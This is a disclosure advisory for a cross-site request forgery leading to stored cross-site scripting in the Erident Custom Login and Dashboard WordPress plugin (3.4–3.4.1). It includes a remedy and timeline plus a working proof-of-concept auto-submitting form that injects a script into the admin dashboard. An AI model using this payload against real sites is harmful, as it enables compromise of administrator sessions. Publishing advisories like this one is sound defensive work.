Erident Custom Login and Dashboard 3.4-3.4.1, Persistent XSS
The Erident Custom Login and Dashboard plugin exposes a call to the update_option method, when a specific POST field is posted to the plugins setting screen. No CSRF token is used, and as such if an Administrative user can be tricked into visiting a site with a malicious form, it is possible to trigger a Stored Cross Site Scripting attack in the admin dashboard by utilizing this unsafe method call. The vulnerable method call is located on line 312 of erident-custom-login-and-dashboard/er-custom-login.php.
Update to version 3.5.
Proof of Concept
<form id="form" method="POST" target="http://localhost/wp-admin/options-general.php?page=erident-custom-login-and-dashboard"> <input type="hidden" name="er_options_up[dashboard_data_left]" value="Powered by YourWebsiteName<script>alert(1)</script>"/> </form> <script>document.getElementById("form").submit();</script>
- 2015-05-11: Discovered
- 2015-05-11: Vendor notified
- 2015-05-11: Vendor responded
- 2015-06-11: Version 3.5 released – issue resolved
- 2015-06-18: Advisory released